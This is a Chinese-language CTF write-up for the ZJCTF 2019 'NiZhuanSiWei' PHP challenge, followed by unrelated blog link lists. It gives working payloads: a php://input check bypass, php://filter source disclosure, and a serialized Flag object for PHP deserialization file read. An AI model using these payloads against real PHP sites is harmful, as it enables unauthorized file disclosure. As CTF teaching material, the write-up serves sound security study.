[ZJCTF 2019]NiZhuanSiWei
源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
考点:php伪协议、php反序列化
源码分析
第一步:需要传入三个变量text
,file
,password
。并且file_get_contents($text,'r')==="welcome to the zjctf"
才能进入下一步。
用到一个伪协议:php://input
,可以获取POST的数据流。
GET传?text=php://input
,再POSTwelcome to the zjctf
即可绕过。
第二步:file
不能直接包含flag,但是看到下面对password
进行了反序列化
处理。提示我们包含useless.php,但是我们不知道useless.php的源码。
此时用到另一个php伪协议:php://filter
,可以获取指定文件的源码,但是当他与包含函数
结合时,php://filter
流会被当做php文件执行
。所以我们一般对其进行编码
,让其不执行。从而导致 任意文件读取
payload=?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
读取到useless.php的源码的base64编码,进行base64解码即可得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三步:我们需要创建一个Flag类的实例,给Flag实例
的file变量赋值flag.php,,当Flag实例的__tostring
方法被调用的时候,file_get_contents
函数就会读取并输出flag.php的内容。而在index.php中,给$file
传入userless.php,通过inclide($file)
包含这个文件,然后反序列化$password
,将反序列化得到的类的实例
输出时会调用实例的__tostring方法。
运行下面的php脚本
<?php
class Flag{
public $file;
}
$a = new Flag();
$a->file="flag.php";
echo serialize($a);
?>
得到序列化结果O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
。
构造payload:?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
右键查看源代码即可得到flag。
上一篇: javascript操作数组详解_javascript技巧
下一篇: 有关顶的的文章推荐10篇
推荐阅读
-
中国十大名牌大学排名及录取成绩2021年参考(2019~2020年汇总)
-
2019 Curiosity 硅谷大会落幕 乂学教育松鼠AI展现中国AI+教育力量
-
26家平台同步直播,华米科技2019年度新品发布会14:30见
-
2019淘宝盖楼大挑战怎么退队 盖楼大挑战可以退队吗
-
2019淘宝购物津贴怎么用 2019淘宝双11购物津贴在哪领
-
西华师范大学公费师范生2019年录取分数线(2020招生计划):是一本还是二本?
-
中国十大名牌大学排名及录取成绩2021年参考(2019~2020年汇总)
-
联通营业厅app怎么查看2019年度账单?
-
2019年9月蚂蚁森林在联合国获得了什么奖 蚂蚁庄园1月16日答案
-
招行app怎么查看收获2019年度账单?